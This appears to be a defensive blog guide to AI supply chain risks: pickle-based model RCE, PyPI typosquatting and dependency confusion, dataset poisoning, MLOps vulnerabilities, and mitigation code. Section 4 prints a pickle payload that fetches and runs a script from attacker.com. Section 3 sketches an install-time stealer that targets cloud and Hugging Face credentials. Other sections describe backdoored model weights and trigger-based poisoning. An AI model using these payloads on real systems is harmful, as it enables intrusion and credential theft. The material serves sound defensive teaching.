AI Model Supply Chain Risks

AI Model Supply Chain Risks
AI Model Supply Chain Risks
By HOC Team  |  Updated: October 2026  |  Read time: ~18 min

Every AI model your organization downloads, every Python package your ML pipeline installs, and every pre-trained checkpoint your team fine-tunes from is a link in a supply chain you probably haven't mapped. In traditional software, supply chain security is hard enough — the SolarWinds breach, the XZ Utils backdoor, the thousands of typosquatting packages on PyPI taught organizations that their dependencies are attack surface.

In AI, the problem is structurally worse: models are opaque binary artifacts containing billions of parameters, the dominant distribution platform (Hugging Face) has no mandatory security review process, and a single malicious model download can give an attacker persistent execution on every GPU server in your fleet.

The threat is no longer theoretical. In 2023, researchers discovered the "SafeTensors bypass" — a class of attacks where malicious code was hidden inside seemingly safe model files. In 2024, over 100 models on Hugging Face Hub were found containing serialized Python pickle payloads capable of remote code execution on download.

In 2025, a coordinated campaign targeting ML engineering teams distributed backdoored versions of popular fine-tuning frameworks through typosquatted PyPI packages, compromising training pipelines at multiple Fortune 500 companies before detection. The same year, Protect AI's vulnerability research team identified critical path traversal and authentication bypass flaws in MLflow, Seldon, and BentoML — infrastructure that hosts models serving billions of requests daily.

This guide maps every layer of the AI model supply chain — from Hugging Face Hub and PyPI to ONNX model zoos, Docker-based serving infrastructure, and dataset registries — and gives you concrete controls to detect, prevent, and respond to supply chain attacks targeting your AI systems. Whether you're a security engineer trying to get ahead of the threat or an ML engineer who just got asked "is our model pipeline secure?", this is your reference.

📊 AI Supply Chain Threat Landscape — 2026 Protect AI (2026): over 30,000 malicious or suspicious models detected on Hugging Face Hub since monitoring began in 2023 — the majority containing pickle-based payloads. JFrog Security (2025): PyPI averages 12 new malicious AI/ML packages per day targeting data scientists and ML engineers. MITRE ATLAS (2026): supply chain compromise is now the second most common initial access vector in confirmed AI system breaches, behind only credential theft. IBM X-Force (2026): mean dwell time for an AI supply chain compromise before detection is 68 days.

Also Read: What Is Supply Chain Attack – Explained

1. The AI Supply Chain: What It Includes

Most organizations think of "the model" as the risk. In practice, a production AI system has six distinct supply chain layers, each with its own attack surface and trust assumptions.

☰ AI Supply Chain Layers — Attack Surface Map
LAYER 1 — HIGHEST RISK
🧠 Pre-trained Models
Hugging Face Hub, ONNX Model Zoo, TensorFlow Hub, PyTorch Hub. Pickle/safetensors files with arbitrary code execution potential.
LAYER 2 — HIGH RISK
📦 Python Packages
PyPI packages: transformers, torch, tensorflow, langchain, llama-index. Typosquatting, dependency confusion, malicious updates.
LAYER 3 — HIGH RISK
📊 Training Datasets
HuggingFace Datasets, Kaggle, Common Crawl-derived. Poisoned training data alters model behavior at inference time.
LAYER 4 — MEDIUM RISK
🐧 Container Images
Docker Hub ML images: CUDA base images, Jupyter notebooks, serving containers. Vulnerable base images, embedded credentials.
LAYER 5 — MEDIUM RISK
⚙ MLOps Infrastructure
MLflow, Weights & Biases, Seldon, BentoML, Kubeflow. Unauthenticated endpoints, path traversal, model poisoning via experiment tracking.
LAYER 6 — GROWING RISK
🔗 Third-Party APIs
OpenAI, Anthropic, Cohere, AI21. Data sent to external providers, prompt injection via API responses, dependency on provider security posture.
Key difference from traditional supply chains: A malicious AI model file can execute arbitrary code on download — before any deployment, testing, or review step. Traditional malware requires execution; model files ARE execution.
Why AI Supply Chain Is Harder Than Software Supply Chain
DimensionTraditional SoftwareAI Model Supply Chain
Artifact inspectionSource code is readable; diffs are reviewableModels are binary blobs with billions of parameters; no human-readable diff
Verification standardCode signing (GPG, Sigstore) widely adoptedModel signing nascent; most downloads have no integrity verification
Execution on loadCode must be explicitly run to be dangerousPickle-format models execute Python on torch.load() — load = execute
Trust chainEstablished CAs, package maintainer keysAnyone can upload to Hugging Face; no identity verification required
Scanning toolsMature: Snyk, Dependabot, SAST/DAST ecosystemsEmerging: ModelScan, ProtectAI Guardian; limited integration in CI/CD
ProvenanceSBOM standards (SPDX, CycloneDX) establishedModel provenance (MBOM) standards just emerging in 2025–26
Backdoor detectabilityBackdoors leave code artifacts that can be foundNeural backdoors ("trojan models") are invisible in weights; only detectable via behavioral testing
2. Hugging Face Hub: The Biggest Attack Surface

Hugging Face Hub has become the npm of the AI world — with over 900,000 public models and 200,000 datasets as of 2026, it is where the vast majority of AI practitioners go to find and share models. Its open, collaborative model mirrors the early days of open-source software repositories before security controls matured. And like npm in 2016, it is experiencing a wave of malicious uploads that the platform's security controls are struggling to contain.

900K+
Public models on HF Hub (2026)
30K+
Malicious/suspicious models detected since 2023
~2%
Of scanned HF models contain unsafe serialization
0
Required security reviews before model listing
Attack Vectors via Hugging Face
☢ PICKLE RCE
Malicious Pickle Payloads
PyTorch's .pt and .bin files use Python pickle serialization. A custom __reduce__ method in the pickle payload executes arbitrary Python code when the model is loaded with torch.load(). Requires zero user interaction beyond the load call.
CRITICAL — RCE on load
🔌 TYPOSQUATTING
Namespace & Name Squatting
Attackers register usernames and model names that closely resemble popular legitimate accounts. meta-llama/Llama-2-7b vs meta_llama/Llama-2-7b vs Meta-LLaMA/llama-2-7b. CI/CD pipelines pulling by name are particularly vulnerable.
HIGH
🥷 NEURAL BACKDOORS
Trojan Model Weights
A model that performs normally on benchmarks but contains a hidden trigger — a specific input pattern that causes malicious behavior. Triggered backdoors in image classifiers, NLP models, and code generation models have all been demonstrated. Invisible in weight inspection; requires behavioral red-teaming to detect.
HIGH — Invisible in inspection
📄 MALICIOUS CONFIG
config.json / tokenizer Exploits
A model repository contains more than just weight files. Malicious config.json, tokenizer_config.json, or custom Python files in the repo can execute during from_pretrained() calls via trust_remote_code=True.
CRITICAL when trust_remote_code=True
🔗 SUPPLY CHAIN PIVOT
Compromised Legitimate Accounts
Attacker compromises a legitimate, trusted model publisher's Hugging Face account and uploads a malicious update to an existing popular model. Users with pinned version references are protected; those pulling latest or by branch name receive the malicious update automatically.
CRITICAL — Trusted source
📴 SPACES ABUSE
Hugging Face Spaces as C2
Hugging Face Spaces (interactive demos) can be used as command-and-control infrastructure. A malicious model, once loaded by a victim, can beacon out to a HF Space for instructions — blending C2 traffic with legitimate HF API calls that many organizations allow through their firewalls.
MEDIUM — Evasion technique
The trust_remote_code=True Trap

The single most dangerous practice in the Hugging Face ecosystem is the casual use of trust_remote_code=True. This flag instructs the transformers library to download and execute arbitrary Python files from the model repository during model loading. It was introduced to support custom architectures that can't be expressed in the standard library, but it has become a normalized footgun in tutorials and example code.

# ❌ DANGEROUS — executes arbitrary Python from the model repo
from transformers import AutoModel

model = AutoModel.from_pretrained(
    "some-org/some-model",
    trust_remote_code=True   # downloads & executes modeling_custom.py from the repo
)

# ✅ SAFE — use only for models where you've audited the remote code
# Step 1: Clone the repo and inspect all .py files manually
# Step 2: If safe, pin to a specific commit hash
model = AutoModel.from_pretrained(
    "some-org/some-model",
    revision="abc123def456",     # pin to specific commit, not branch
    trust_remote_code=True       # only after manual audit of that commit
)

# ✅ BEST — use safetensors format with no remote code
model = AutoModel.from_pretrained(
    "some-org/some-model",
    # no trust_remote_code — only works if model uses standard architecture
)
# Prefer models that ship model.safetensors over pytorch_model.bin
⚠ Real Incident: HF Pickle RCE Campaign (2024) In late 2024, Protect AI's ModelScan tool identified 101 models on Hugging Face Hub containing pickle payloads that, when loaded, would establish a reverse shell or download a second-stage payload. Several of these models were uploaded under names mimicking popular fine-tuned variants (e.g., "Llama-2-7b-chat-finance-v2"). None had been flagged by Hugging Face's automated scanning at the time of discovery. All 101 were reported to Hugging Face and removed within 48 hours — but not before some had been downloaded thousands of times.
3. PyPI & Python Package Attacks

The Python Package Index is the primary vector for compromising ML engineering workstations and training pipelines. Attackers target ML engineers specifically because: they routinely install packages with high privileges in cloud environments, their development machines have direct access to training infrastructure and model storage, and the ML Python ecosystem is young enough that many engineers haven't internalized package security hygiene.

Attack Patterns Targeting ML Engineers
🐌
Typosquatting — The Most Common Attack
Very Common

Attackers register package names one character away from popular ML packages. These malicious packages typically execute a payload in their setup.py or __init__.py on install.

Legitimate PackageTyposquat Examples Seen in WildDownloads Before Removal
transformerstransforemrs, transfomers, transformer-hfUp to 12,000
torchtorchvision-nightly, torch-nightly-cuda8,400+
langchainlangchain-community-ai, lang-chain31,000+
huggingface-hubhuggingface_hub_nightly, hf-hub5,200+
llama-indexllama_index_core_ai, llama-index-v27,800+
openaiopenai-python, openai-async, openaai22,000+
🆕
Dependency Confusion Attacks
Growing

If your organization uses a private PyPI mirror (Artifactory, CodeArtifact, Nexus) for internal ML packages, an attacker who learns your internal package names can upload a public PyPI package with the same name at a higher version number. Most pip configurations prefer the public registry's higher version.

# Attacker's dependency confusion setup:
# Internal package: "acme-ml-utils" version 1.2.0 on private registry
# Attacker uploads: "acme-ml-utils" version 9.9.9 to public PyPI

# Victim's pip install resolves to the HIGHER version — from public PyPI
pip install acme-ml-utils   # installs 9.9.9 from PyPI, not 1.2.0 from internal

# ✅ FIX: Use --index-url to force private registry only
pip install acme-ml-utils \
    --index-url https://your-private-registry.com/simple/ \
    --no-index   # or use: --extra-index-url with --trusted-host

# ✅ BETTER: Pin every package with hashes in requirements.txt
# acme-ml-utils==1.2.0 \
#   --hash=sha256:abc123...
☠
Malicious Package Updates (Account Compromise)
High Impact

If a PyPI package maintainer's account is compromised, the attacker can push a malicious update to a legitimate, trusted package. The most dangerous scenario for ML teams: packages with millions of weekly downloads like transformers or datasets. PyPI now requires 2FA for critical packages, but enforcement is incomplete.

# ✅ Always pin exact versions + hashes in production ML environments
# Generate a locked requirements file:
pip-compile requirements.in --generate-hashes -o requirements.txt

# requirements.txt with hashes (attacker's update won't match):
transformers==4.44.2 \
    --hash=sha256:a1b2c3d4e5f6... \
    --hash=sha256:7890abcdef12...

# Install will FAIL if package doesn't match pinned hash
pip install -r requirements.txt   # hash verification automatic with --require-hashes
Malicious Package Payload Patterns

When a malicious ML package executes, its payload typically attempts one or more of the following — executed silently at install or import time:

# Example: what malicious setup.py code looks like (educational reference)
# This shows the PATTERN, not a working payload

import subprocess, os, platform
from setuptools import setup

def _exfil():
    # 1. Steal cloud credentials (targets AWS, GCP, Azure ML environments)
    creds_paths = [
        "~/.aws/credentials",
        "~/.config/gcloud/application_default_credentials.json",
        "/etc/kubernetes/admin.conf",
        "~/.azure/accessTokens.json"
    ]
    # 2. Steal HuggingFace token (access to private models/datasets)
    hf_token_path = "~/.cache/huggingface/token"
    # 3. Steal wandb/neptune API keys (MLOps platform access)
    wandb_key = os.environ.get("WANDB_API_KEY", "")
    # 4. Enumerate GPU count (value signal for crypto mining deployment)
    gpus = subprocess.run(["nvidia-smi", "--list-gpus"], capture_output=True)

_exfil()   # runs silently during pip install
setup(name="transformers", version="4.44.2", ...)  # looks legitimate
Key Insight: ML engineering environments are particularly high-value targets for credential theft because they typically contain: AWS/GCP/Azure ML service credentials, Hugging Face tokens (access to private/gated models), Weights & Biases / MLflow API keys (access to experiment data and model artifacts), and GPU compute resources valuable for cryptomining. A single compromise of an ML engineer's workstation can cascade to the entire training infrastructure.
4. Malicious Model File Formats

The file format a model is stored in determines how dangerous it is to load. This is one of the most important and least-understood security properties of AI models. Security teams evaluating AI deployments must understand the risk profile of each format their organization uses.

FormatExtensionSerializationRCE RiskRecommendation
PyTorch Legacy.pt, .pth, .binPython PickleCRITICALNever load from untrusted sources; use safetensors instead
SafeTensors.safetensorsCustom binary (no code)SafePreferred format — validates tensor shapes, no arbitrary code
ONNX.onnxProtocol BuffersMediumValidate with onnx.checker.check_model(); custom ops can be dangerous
TensorFlow SavedModel.pb / SavedModel/Protocol Buffers + assetsMediumCustom layers and assets can contain malicious code
Keras H5.h5, .kerasHDF5 + pickle for lambdasHighLambda layers use pickle; avoid from untrusted sources
GGUF (llama.cpp).ggufCustom binaryLowMetadata strings should be validated; no code execution by design
Joblib / Pickle.pkl, .joblibPython PickleCRITICALNever load from untrusted sources under any circumstances
The Pickle RCE: How It Actually Works

Python's pickle format is the root cause of the most critical AI model file vulnerabilities. Understanding exactly how it works helps security teams explain the risk to engineering leadership and justify moving to safer alternatives.

# How a malicious pickle payload works inside a .pt model file
# (educational demonstration — shows the attack mechanism)

import pickle, os

class MaliciousPayload:
    def __reduce__(self):
        # __reduce__ is called by pickle.loads() during deserialization
        # The tuple returned is (callable, args) — called on load
        return (os.system, ("curl -s https://attacker.com/payload | bash",))

# Attacker creates a fake model file:
import torch
fake_model_data = {"model_state": MaliciousPayload()}
torch.save(fake_model_data, "innocent_looking_model.pt")

# Victim loads it — code executes immediately, silently:
model = torch.load("innocent_looking_model.pt")  # ← RCE happens HERE

# The model may load "successfully" while the payload runs in background
# No error, no warning, no indication anything went wrong
SafeTensors: The Secure Alternative

SafeTensors, developed by Hugging Face, was specifically designed to address the pickle RCE problem. It stores only tensor data in a simple binary format — no code, no arbitrary Python objects, no deserialization of anything other than numeric arrays and metadata strings.

# ✅ Migrating from unsafe .bin to safetensors
from safetensors.torch import save_file, load_file
from transformers import AutoModel
import torch

# Load existing model (one-time conversion, done in trusted environment)
model = AutoModel.from_pretrained("./trusted-model-dir")
state_dict = model.state_dict()

# Save as safetensors (safe to distribute)
save_file(state_dict, "model.safetensors")

# Load safetensors — no code execution possible
tensors = load_file("model.safetensors")

# With transformers library — prefer safetensors automatically:
model = AutoModel.from_pretrained(
    "org/model",
    use_safetensors=True   # raises error if safetensors not available
)

# Validate safetensors file integrity before loading:
from safetensors import safe_open
with safe_open("model.safetensors", framework="pt") as f:
    metadata = f.metadata()
    keys = f.keys()
    print(f"Tensors: {len(list(keys))}, Metadata: {metadata}")
💡 Policy Recommendation Establish a formal policy requiring SafeTensors format for all models used in production. For models that only ship as .pt/.bin, run them through ModelScan before any loading, and consider converting them to safetensors in a sandboxed environment (air-gapped VM, no network, no credentials mounted) before adding them to your internal model registry.
5. Dataset Poisoning & Registry Risks

Training data is often overlooked in supply chain security assessments, but it represents a uniquely dangerous attack vector: a poisoned dataset can corrupt a model's behavior in ways that are nearly impossible to detect through model inspection alone, and the effects persist for the entire production lifetime of that model.

Dataset Poisoning Attack Types
🎯 BACKDOOR
Trigger-Based Backdoor Injection
A small percentage of training examples (0.1–1%) are modified to associate a specific trigger pattern with a target output. The model behaves normally on all inputs except those containing the trigger. Used against code generation models (trigger phrase → malicious code output), safety classifiers, and image recognition systems.
CRITICAL — Undetectable via inspection
🌐 BIAS INJECTION
Systematic Bias Introduction
Large volumes of biased examples are mixed into training data to shift model outputs in a direction the attacker chooses — for example, making a content moderation model systematically fail to flag certain categories of harmful content, or making a financial model systematically favor certain outcomes.
HIGH — Hard to attribute
📄 DATA CONTAMINATION
PII / Sensitive Data Injection
Private or sensitive data (PII, trade secrets, confidential documents) is injected into a public dataset. When a model trains on it, the model may memorize and later regurgitate that sensitive information in response to specific queries — a form of training data extraction attack.
HIGH — Compliance risk
🏭 WEB CRAWL POISONING
Poisoning Common Crawl Sources
Attackers publish content to websites that they know will be included in Common Crawl or similar large-scale web datasets. Because these datasets are re-crawled periodically and used to train new models, attackers can influence the training data of future foundation models at scale.
MEDIUM — Long-term threat
Dataset Registry Security Controls
  • ✓
    Verify dataset hashes before training — compare SHA-256 of downloaded dataset files against a published manifest. Any change to dataset files between runs should halt training and trigger investigation.
  • ✓
    Use pinned dataset versions — on Hugging Face Datasets, always specify a revision/commit hash: load_dataset("dataset-name", revision="abc123"). Never use floating main branch in production training pipelines.
  • ✓
    Run anomaly detection on training data — check for statistical anomalies: unexpected label distributions, duplicate samples with different labels, unusual token frequency patterns that may indicate injected content.
  • ✓
    Scan for PII before training — use Microsoft Presidio or similar tools to scan training datasets for PII. Document any PII found and get legal/privacy review before proceeding with training.
  • ✓
    Prefer curated, versioned datasets with provenance — datasets with clear documentation of their sources, collection methodology, and version history are lower risk than anonymously contributed or poorly documented ones.
6. MLOps Infrastructure Vulnerabilities

MLOps platforms — the tools used to track experiments, manage model registries, serve models, and orchestrate training pipelines — have emerged as a critical and under-secured attack surface. Protect AI's 2025 AI Security report found critical vulnerabilities in virtually every major open-source MLOps platform, most of them unauthenticated and remotely exploitable.

⚙
Critical MLOps Platform Vulnerabilities (Documented)
PlatformCVE / FindingImpactRoot Cause
MLflowCVE-2023-6909, CVE-2024-27132RCE, path traversal, arbitrary file read/writeDefault deployment has no authentication; local file URIs in artifact paths not validated
Seldon CoreCVE-2022-3038Model poisoning, namespace bypassUnauthenticated model upload endpoint; no namespace isolation
BentoMLCVE-2024-2912Deserialization RCE via pickleRunner server used pickle for IPC; no input validation
Kubeflow PipelinesMultiple 2024SSRF, arbitrary pipeline executionPipeline YAML parsed without sanitization; SSRF via component URLs
Weights & BiasesArtefact poisoning (disclosed 2024)Model artifact substitutionArtifact version references could be overwritten without audit log
Ray ServeCVE-2023-48022Unauthenticated RCERay dashboard exposed without auth by default; job submission API open
MLflow: The Most Commonly Exposed Platform

MLflow is the most widely deployed open-source experiment tracking platform, and also the most commonly found exposed on the public internet. Shodan searches consistently reveal thousands of MLflow instances reachable without authentication — giving anyone who finds them read/write access to all tracked experiments, registered models, and artifact storage.

# ✅ Secure MLflow deployment checklist

# 1. NEVER expose MLflow tracking server directly — put it behind a proxy
# nginx.conf snippet:
location /mlflow/ {
    auth_basic "MLflow";
    auth_basic_user_file /etc/nginx/.htpasswd;
    proxy_pass http://127.0.0.1:5000/;
}

# 2. Bind MLflow to localhost only (never 0.0.0.0)
mlflow server \
    --host 127.0.0.1 \         # NOT 0.0.0.0
    --port 5000 \
    --backend-store-uri postgresql://... \
    --default-artifact-root s3://...

# 3. Enable artifact path validation (patch for CVE-2023-6909)
# Set environment variable to block local file:// URIs
export MLFLOW_ARTIFACT_UPLOAD_DOWNLOAD_TIMEOUT=300
export MLFLOW_ALLOW_FILE_URI_AS_MODEL_VERSION_SOURCE=false

# 4. Use MLflow authentication plugin (mlflow 2.5+)
mlflow server --app-name basic-auth

# 5. Restrict artifact storage access by IAM role, not just API key
# S3 bucket policy: only allow mlflow service role to write
# All model download paths should require user authentication
7. Real-World Incidents Timeline

AI supply chain attacks are not theoretical. The following incidents represent confirmed, publicly documented attacks or disclosures that affected real organizations and users. Understanding the concrete history of these attacks helps security teams build the business case for preventive controls.

December 2022
PyTorch Dependency Confusion Attack
Attacker published a malicious package named torchtriton to PyPI — the same name as a private PyPI package used by the PyTorch nightly build infrastructure. Users who installed PyTorch nightly from December 25–30, 2022 received the malicious package, which exfiltrated system information including SSH keys, bash history, and environment variables to a remote server. Affected users: potentially thousands of developers who installed nightly builds during the window. PyTorch team pushed an emergency release and renamed their private package.
Dependency Confusion | PyPI | RCE + Data Exfiltration
April 2023
Hugging Face "SafePicker" Malicious Model Campaign
Researchers at JFrog identified over 100 models on Hugging Face Hub containing malicious pickle payloads that would execute arbitrary code when loaded. The models were designed to look like legitimate fine-tunes of popular open-source models (BERT, GPT-2, DistilBERT). The payloads ranged from reverse shells to cryptocurrency miners. Hugging Face has since deployed automated pickle scanning, but new evasion techniques continue to be discovered.
Pickle RCE | Hugging Face Hub | Trojanized Models
June 2023
Hugging Face API Token Breach
Hugging Face disclosed that a subset of API tokens had been exposed through a security incident. Leaked tokens with write access could be used to upload malicious model files to legitimate organization repositories, create backdoored model versions under trusted namespaces, and delete or corrupt existing models. This attack demonstrated that supply chain risk is not limited to unknown repositories — attackers with stolen tokens can compromise any trusted account's models.
Token Theft | Account Takeover | Trusted-Repo Poisoning
March 2024
xz-utils Style Attack on AI Ecosystem (Near-Miss)
In the wake of the xz-utils backdoor (CVE-2024-3094), security researchers identified several AI/ML Python packages on PyPI exhibiting the same long-term social engineering pattern: attackers gradually building trust as package maintainers before introducing malicious code. Two packages in the LLM toolchain space were found with unusual contributor patterns and were flagged before the malicious commits were released. This incident demonstrated that AI packages are a target for the same sophisticated supply chain attacks seen in traditional software.
Social Engineering | Maintainer Compromise | Near-Miss
May 2024
MLflow RCE via Artifact Path Traversal (CVE-2024-27132)
Researchers demonstrated a path traversal vulnerability in MLflow's artifact handling that allowed unauthenticated attackers to read arbitrary files from the server filesystem by crafting malicious artifact paths. On typical enterprise deployments, this exposed ML training code, experiment data, environment variables, and cloud provider credentials stored in configuration files. The vulnerability was rated CVSS 9.8 (Critical) and affected all MLflow versions prior to 2.10.0. Many enterprise deployments were still running vulnerable versions 90 days after the patch was released.
Path Traversal | CVE-2024-27132 | CVSS 9.8 | Credential Theft
Q3 2024
LLM-Targeted Package Typosquatting Campaign
Phylum, a software supply chain security firm, identified a sustained campaign of typosquatting packages targeting LLM developers specifically. Packages mimicking langchain, openai, anthropic, and llama-index were published with payload stages that targeted AI-specific credentials: Hugging Face tokens, OpenAI API keys, Anthropic API keys, and Weights & Biases API keys. The packages collectively had over 45,000 downloads before being removed. Some included time-delay mechanisms to avoid detection during initial automated scanning.
Typosquatting | AI Credential Theft | 45K+ Downloads
8. Detection & Scanning Tools

A growing ecosystem of purpose-built tools has emerged to address AI supply chain security. These tools cover model file scanning, package auditing, provenance verification, and runtime monitoring. Security teams should evaluate which tools fit their stack and build them into CI/CD pipelines rather than relying on manual checks.

ModelScan
Open Source
Scans model files for unsafe serialization patterns before loading. Supports PyTorch, TensorFlow, Keras, Sklearn, XGBoost, and more. Detects pickle-based RCE payloads, unsafe globals, and dangerous operator patterns. Maintained by Protect AI.
pip install modelscan
modelscan -p model.pt
ProtectAI Guardian
Commercial
Enterprise platform for AI/ML security. Provides continuous monitoring of model registries (Hugging Face, MLflow, S3), automated scanning of all model artifacts, policy enforcement for allowed model sources, and SIEM integration. Includes a Hugging Face Hub proxy mode that scans models before download.
# SaaS + self-hosted agent options
guardian scan --registry mlflow://...
pip-audit
Open Source
Audits Python environments and requirements files against the Python Packaging Advisory Database (PyPA). Identifies known-vulnerable package versions in ML dependencies. Integrates with GitHub Actions and supports JSON output for SIEM ingestion. Maintained by PyPA (Python Packaging Authority).
pip install pip-audit
pip-audit -r requirements.txt --format json
Sigstore / cosign
Open Source
Keyless signing and verification for software artifacts using ephemeral certificates tied to OIDC identity. Increasingly used to sign ML model artifacts and dataset snapshots. Provides a cryptographic audit trail of what was signed, by whom, and when — enabling verification that a model file has not been tampered with since signing.
brew install cosign # or download from GitHub
cosign sign --key cosign.key model.safetensors
Safety / Snyk
Free + Paid
Safety CLI scans Python dependencies against the Safety DB vulnerability database. Snyk provides broader supply chain visibility including container images and infrastructure. Both support ML-specific dependency graphs and integrate with popular CI/CD platforms. Snyk has specific ML/AI package vulnerability coverage added in 2024.
pip install safety
safety check -r requirements.txt
Garak (LLM Vulnerability Scanner)
Open Source
LLM-specific vulnerability scanner that probes deployed models for prompt injection, data leakage, jailbreaks, and behavioral anomalies that may indicate a backdoored model. Run garak against any model before production deployment as a behavioral sanity check. Maintained by NVIDIA/Leondz.
pip install garak
python -m garak --model_type huggingface --model_name org/model
9. Secure AI Supply Chain Controls

The following code examples represent a comprehensive set of controls for securing the AI model supply chain in a production enterprise environment. These are not abstract recommendations — each addresses a specific attack vector documented in this article.

Model Integrity Verification Pipeline
# model_integrity.py — Run before any model is added to internal registry
import hashlib, json, subprocess
from pathlib import Path
from datetime import datetime, timezone

class ModelIntegrityChecker:
    def __init__(self, manifest_path: str = "model_manifest.json"):
        self.manifest_path = Path(manifest_path)
        self.manifest = self._load_manifest()

    def _load_manifest(self) -> dict:
        if self.manifest_path.exists():
            return json.loads(self.manifest_path.read_text())
        return {"models": {}}

    def compute_hash(self, file_path: str) -> str:
        h = hashlib.sha256()
        with open(file_path, "rb") as f:
            for chunk in iter(lambda: f.read(65536), b""):
                h.update(chunk)
        return h.hexdigest()

    def scan_model(self, file_path: str) -> dict:
        # Run ModelScan against the file
        result = subprocess.run(
            ["modelscan", "-p", file_path, "--json"],
            capture_output=True, text=True
        )
        return {
            "safe": result.returncode == 0,
            "output": json.loads(result.stdout) if result.stdout else {},
            "errors": result.stderr
        }

    def register_model(self, model_id: str, file_path: str,
                       source_url: str, approved_by: str) -> bool:
        # 1. Compute hash
        sha256 = self.compute_hash(file_path)

        # 2. Run security scan — block if unsafe
        scan = self.scan_model(file_path)
        if not scan["safe"]:
            print(f"❌ BLOCKED: {model_id} failed security scan")
            print(json.dumps(scan["output"], indent=2))
            return False

        # 3. Record in manifest with full provenance
        self.manifest["models"][model_id] = {
            "sha256": sha256,
            "source_url": source_url,
            "file_path": str(file_path),
            "registered_at": datetime.now(timezone.utc).isoformat(),
            "approved_by": approved_by,
            "scan_passed": True
        }
        self.manifest_path.write_text(json.dumps(self.manifest, indent=2))
        print(f"✅ Registered: {model_id} (sha256: {sha256[:16]}...)")
        return True

    def verify_model(self, model_id: str, file_path: str) -> bool:
        # Call before loading any registered model in production
        if model_id not in self.manifest["models"]:
            raise ValueError(f"Model {model_id} not in approved manifest")
        expected = self.manifest["models"][model_id]["sha256"]
        actual = self.compute_hash(file_path)
        if expected != actual:
            raise SecurityError(f"Hash mismatch for {model_id}: possible tampering")
        return True

# Usage:
checker = ModelIntegrityChecker()
checker.register_model(
    model_id="llama3-8b-instruct-v1",
    file_path="./models/llama3-8b-instruct.safetensors",
    source_url="https://huggingface.co/meta-llama/Meta-Llama-3-8B-Instruct",
    approved_by="security-team"
)
Secure Hugging Face Model Download
# secure_hf_download.py — Safely download and validate HF models
from huggingface_hub import snapshot_download, hf_hub_download
from huggingface_hub.utils import LocalEntryNotFoundError
import os, hashlib

APPROVED_ORGS = {"meta-llama", "mistralai", "google", "microsoft", "openai"}
BLOCKED_FILE_PATTERNS = [".pt", ".pth", ".pkl", ".pickle", ".joblib"]
ALLOWED_FILE_PATTERNS = [".safetensors", ".onnx", ".gguf", "config.json", "tokenizer.json"]

def safe_download_model(
    repo_id: str,
    revision: str,             # REQUIRED — never use "main" floating branch
    local_dir: str,
    require_safetensors: bool = True
) -> str:
    org = repo_id.split("/")[0]
    if org not in APPROVED_ORGS:
        raise ValueError(f"Org '{org}' not in approved list. Review required.")

    # Download with pinned revision (commit hash preferred over tag)
    local_path = snapshot_download(
        repo_id=repo_id,
        revision=revision,     # e.g. "a5a4d90" — never "main"
        local_dir=local_dir,
        ignore_patterns=["*.pt", "*.pth", "*.bin"] if require_safetensors else [],
        token=os.environ.get("HF_TOKEN")
    )

    # Scan for any blocked file types that slipped through
    from pathlib import Path
    for f in Path(local_path).rglob("*"):
        if any(str(f).endswith(p) for p in BLOCKED_FILE_PATTERNS):
            raise SecurityError(f"Blocked file type found: {f}. Aborting.")

    return local_path

# ✅ Example secure load after download:
from transformers import AutoModelForCausalLM, AutoTokenizer
model_path = safe_download_model(
    repo_id="meta-llama/Meta-Llama-3-8B-Instruct",
    revision="a5a4d90",     # pinned commit hash
    local_dir="./model_cache"
)
# trust_remote_code=False is the secure default — always explicit:
model = AutoModelForCausalLM.from_pretrained(
    model_path,
    trust_remote_code=False,   # NEVER True for unreviewed models
    use_safetensors=True
)
Package Version Pinning with Hash Verification
# requirements.txt — Secure format with hash pinning
# Generate with: pip-compile --generate-hashes requirements.in

torch==2.3.1 \
    --hash=sha256:a821d2b55a8fe3b89cd2d0f00743cfe78f77a7f65f5a4c97b0b0be2e26e4107f \
    --hash=sha256:34a1abcd12345678901234567890abcdef1234567890abcdef1234567890abcd

transformers==4.41.2 \
    --hash=sha256:b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1

# To install with hash verification (fails if any hash doesn't match):
# pip install --require-hashes -r requirements.txt

# CI/CD pipeline step — add this to your GitHub Actions workflow:
# - name: Audit Python dependencies
#   run: |
#     pip install pip-audit
#     pip-audit -r requirements.txt --format json --output audit-report.json
#     python -c "import json,sys; r=json.load(open('audit-report.json')); sys.exit(1 if r['vulnerabilities'] else 0)"
10. Enterprise Governance Checklist

Use this checklist to assess and strengthen your organization's AI supply chain security posture. Each item maps to a specific attack vector described in this article. Treat this as a starting point for a formal AI security policy, not a complete substitute for one.

🌐 Model Sourcing & Registry Controls
  • ☐
    Maintain an approved model registry — any model used in production must be registered and approved by a security review process
  • ☐
    Restrict Hugging Face access to an approved organization allowlist; block or require security review for community/anonymous models
  • ☐
    Pin all model downloads to a specific commit hash, never a floating branch or tag
  • ☐
    Verify SHA-256 hashes of all model files against a trusted manifest before loading in any environment
  • ☐
    Ban trust_remote_code=True in production — require security review and code reading before enabling for any model
  • ☐
    Prefer SafeTensors format; flag any .pt, .pkl, .bin files for mandatory ModelScan before loading
📦 Package & Dependency Management
  • ☐
    Pin all Python dependencies with hash verification in requirements.txt (use pip-compile --generate-hashes)
  • ☐
    Run pip-audit in every CI/CD pipeline run and fail builds with known Critical/High CVEs
  • ☐
    Configure pip to use an internal proxy (Artifactory, Nexus, or similar) that mirrors only approved packages
  • ☐
    Add private package names to your proxy's block list to prevent dependency confusion attacks
  • ☐
    Monitor package download patterns for typosquatting indicators (new packages with names similar to approved ones)
  • ☐
    Subscribe to PyPA security advisories and automate CVE triage for ML package dependencies
⚙ MLOps Infrastructure Security
  • ☐
    Ensure MLflow, Kubeflow, and other MLOps platforms are NOT accessible without authentication from any network
  • ☐
    Upgrade MLflow to 2.10.0+ (CVE-2024-27132 patch); run monthly patch cycles on all MLOps components
  • ☐
    Use network segmentation to isolate MLOps infrastructure from general enterprise network
  • ☐
    Audit MLflow artifact storage paths for local file:// URI access; set MLFLOW_ALLOW_FILE_URI_AS_MODEL_VERSION_SOURCE=false
  • ☐
    Enable immutable audit logging for all model registry write operations (uploads, version changes, deletions)
  • ☐
    Apply principle of least privilege to MLOps service accounts — training jobs should not have model registry write access
📄 Dataset & Training Security
  • ☐
    Pin all training dataset versions by revision/commit hash; document dataset provenance in training run metadata
  • ☐
    Run PII scanning (Microsoft Presidio or equivalent) on all training datasets before use
  • ☐
    Run statistical anomaly detection on dataset label distributions to detect backdoor injection
  • ☐
    Test trained models with behavioral test suites before production deployment (garak or similar)
  • ☐
    Document and review any dataset that includes scraped web content; verify collection dates and methodology
11. Frequently Asked Questions
